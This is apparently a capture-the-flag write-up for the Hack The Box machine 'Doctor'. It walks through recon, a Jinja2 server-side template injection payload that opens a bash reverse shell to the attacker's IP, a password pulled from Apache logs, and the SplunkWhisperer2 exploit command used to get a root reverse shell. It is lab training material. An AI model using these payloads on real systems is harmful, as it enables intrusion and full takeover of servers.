> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/doctor.md).

# Doctor

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FLCew8AU4RLDCVnqWMpJs%2FDoctor.png?alt=media&amp;token=852bd2a2-0daa-4675-96f9-cf3600c12468" alt="" width="563"><figcaption><p>Doctor</p></figcaption></figure>

## <mark style="color:blue;">Recon</mark>

```sql
ping -c 1 10.10.10.209
PING 10.10.10.209 (10.10.10.209) 56(84) bytes of data.
64 bytes from 10.10.10.209: icmp_seq=1 ttl=63 time=62.6 ms

--- 10.10.10.209 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 62.563/62.563/62.563/0.000 ms
```

* Target is <mark style="color:green;">alive</mark>.
* Looks like OS is <mark style="color:purple;">Linux</mark>.

Of course firstly nmap.

```sql
sudo nmap 10.10.10.209 -p- -T5 -sC -sV -oN doctor
```

```sql
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 309.27 seconds
```

3 open ports, SSH is dead-end, I will start enumerating HTTP, there also a Splunk, but Im sure that it needs credentials.

## <mark style="color:green;">HTTP</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F5tAZhuevLCcT1RFrtYmg%2FPasted%20image%2020240302201225.png?alt=media&amp;token=fb200095-207f-448f-b589-3091354fa60c" alt=""><figcaption></figcaption></figure>

Normal static web-page, nothing too much interesting actually.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2Fcnf33OGCmXaLBueJZVZV%2FPasted%20image%2020240302201237.png?alt=media&amp;token=ab601815-f7a6-4a6d-90c5-c01a55e94a51" alt=""><figcaption></figcaption></figure>

This is possible domain name, lets add it.

> Lets add <mark style="color:yellow;">"doctors.htb"</mark> to <mark style="color:purple;">/etc/hosts</mark>.

Lets fuzz it.

```sql
ffuf -u http://doctors.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://doctors.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

logout                  [Status: 302, Size: 217, Words: 22, Lines: 4, Duration: 71ms]
login                   [Status: 200, Size: 4204, Words: 1054, Lines: 95, Duration: 128ms]
register                [Status: 200, Size: 4493, Words: 1171, Lines: 101, Duration: 138ms]
home                    [Status: 302, Size: 245, Words: 22, Lines: 4, Duration: 194ms]
archive                 [Status: 200, Size: 101, Words: 7, Lines: 6, Duration: 197ms]
account                 [Status: 302, Size: 251, Words: 22, Lines: 4, Duration: 242ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 182ms]
                        [Status: 302, Size: 237, Words: 22, Lines: 4, Duration: 188ms]
reset_password          [Status: 200, Size: 3493, Words: 752, Lines: 77, Duration: 205ms]
:: Progress: [30000/30000] :: Job [1/1] :: 178 req/sec :: Duration: [0:02:51] :: Errors: 2 ::
```

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FInO7ukTETHZezsi6psFI%2FPasted%20image%2020240302201305.png?alt=media&amp;token=8f861e0f-621c-4063-93d9-f7b8e8a5e6e8" alt=""><figcaption></figcaption></figure>

I can sign up, and log in.

Looks like that I can only create new posts...

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F5B7oZTwnF8vvSEAfzrRZ%2FPasted%20image%2020240302201354.png?alt=media&amp;token=2e14701e-c3c4-458a-a6ea-60ccedd1eed0" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">web shell</mark>

Lets create one.

And nothing interesting, I will try some vulnerabilities like <mark style="color:yellow;">XSS</mark> or <mark style="color:purple;">SSTI</mark>.(XSS is working but it wont be too interesting.)

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FQ8UEoJnltJMBBmK1kDTK%2FPasted%20image%2020240302201804.png?alt=media&amp;token=4a6f7e01-d7ff-4c67-a7eb-9d14697ceb74" alt=""><figcaption></figcaption></figure>

Well it didnt worked.

I wasted like 30 minutes trying to understand what to do.

After fuzzing there was <mark style="color:orange;">**"archive"**</mark> directory.

I checked it again because it was empty first time.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F9dG7qqsj1R6O0zOheYSl%2FPasted%20image%2020240302201821.png?alt=media&amp;token=1e58c610-e42b-4583-a9d7-d8af4f7a7508" alt=""><figcaption></figcaption></figure>

And well, looks like SSTI worked!

So I would guess that this is Jinja.

I will try payload from [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---remote-code-execution).

```python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.16.2/9001 0>&1"').read()}}
```

```bash
rlwrap nc -lnvp 443 
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.209] 47126
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
web@doctor:~$ 
zsh: suspended  rlwrap nc -lnvp 443
                                                                                                                                                                                                                                              
musor@kali:~/wu/Doctor$ stty raw -echo | fg                       
[1]  + continued  rlwrap nc -lnvp 443
web@doctor:~$ export TERM=xterm
export TERM=xterm
web@doctor:~$ stty rows 27 cols 238
stty rows 27 cols 238
```

And we are in!

Also upgraded my shell a little bit :) (This user can log in, so if I will drop ssh key I would login)

```sql
ssh -i web web@doctors.htb  
The authenticity of host 'doctors.htb (10.10.10.209)' can't be established.
ED25519 key fingerprint is SHA256:GEegxCbWaNhxrPrR4vIrodDtjEj0bjVa0FFFfQTq8B4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'doctors.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


76 updates can be installed immediately.
36 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Jul 27 20:45:33 2020 from 192.168.127.142
web@doctor:~$ 
```

```bash
web@doctor:~$ id  
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
```

We are member of <mark style="color:red;">**"adm"**</mark> group, so that means we can read logs.

```sql
web@doctor:/var/log$ ls
alternatives.log    auth.log.2.gz  boot.log.3  btmp.1        dmesg.2.gz     fontconfig.log   kern.log.1     private            syslog.4.gz  ufw.log.2.gz          vmware-network.4.log  vmware-network.log        wtmp
alternatives.log.1  auth.log.3.gz  boot.log.4  cups          dmesg.3.gz     gpu-manager.log  kern.log.2.gz  speech-dispatcher  syslog.5.gz  ufw.log.3.gz          vmware-network.5.log  vmware-vmsvc-root.1.log   Xorg.0.log
apache2             auth.log.4.gz  boot.log.5  dist-upgrade  dmesg.4.gz     hp               kern.log.3.gz  syslog             syslog.6.gz  unattended-upgrades   vmware-network.6.log  vmware-vmsvc-root.2.log   Xorg.0.log.old
apt                 boot.log       boot.log.6  dmesg         dpkg.log       installer        kern.log.4.gz  syslog.1           syslog.7.gz  vmware-network.1.log  vmware-network.7.log  vmware-vmsvc-root.3.log
auth.log            boot.log.1     boot.log.7  dmesg.0       dpkg.log.1     journal          lastlog        syslog.2.gz        ufw.log      vmware-network.2.log  vmware-network.8.log  vmware-vmsvc-root.log
auth.log.1          boot.log.2     btmp        dmesg.1.gz    dpkg.log.2.gz  kern.log         openvpn        syslog.3.gz        ufw.log.1    vmware-network.3.log  vmware-network.9.log  vmware-vmtoolsd-root.log
```

```sql
web@doctor:/var/log$ grep -iR password * 2>/dev/null
apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:22 +0100] "GET /password.php HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:23 +0100] "GET /send-password.aspx HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:24 +0100] "GET /lostpassword.php HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:25 +0100] "GET /change_password.php HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:25 +0100] "GET /forgot_password.php HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:26 +0100] "GET /mail_password.php HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:26 +0100] "GET /ForgotPassword.aspx HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
apache2/access.log:10.10.16.5 - - [02/Mar/2024:18:14:28 +0100] "GET /ChangePassword.aspx HTTP/1.1" 404 2902 "-" "Fuzz Faster U Fool v2.1.0-dev"
[SNIP...]
```

In logs there are mistyped password?

```bash
Guitar123
```

I will try this on some of exist users.

```bash
web@doctor:/var/log$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
```

```bash
web@doctor:/var/log$ su shaun
Password: 
shaun@doctor:/var/log$ 
```

```bash
shaun@doctor:~$ ls
user.txt
shaun@doctor:~$ cat user.txt
06c0339e8426d01cf86b0a1aac899492
```

got a user.flag

## <mark style="color:red;">root shell</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F3w5P5l0qFShBLorpTlx3%2FPasted%20image%2020240302202943.png?alt=media&amp;token=873333cb-42b9-4cdb-8792-15fb8f8e00ef" alt=""><figcaption></figcaption></figure>

If we google this version, we will found out that this is vulnerable to <mark style="color:red;">RCE</mark>, but authenticated.

After investigating a host, I didnt found anything...

So I will try to use shaun's credentials for <mark style="color:green;">Splunk</mark>.

Im going to use this [exploit.](https://raw.githubusercontent.com/cnotin/SplunkWhisperer2/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py)

```bash
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.16.5 --username shaun --password Guitar123 --payload "bash -c '/bin/sh -i >& /dev/tcp/10.10.16.5/443 0>&1'"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp015iytt8.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.5:8181/
10.10.10.209 - - [02/Mar/2024 20:32:11] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup
```

And yeah, we got a root shell.

```bash
rlwrap nc -lnvp 443 
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.209] 47130
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
06ce49369156aa744c0852535e9d56fa
```

root.flag is here :)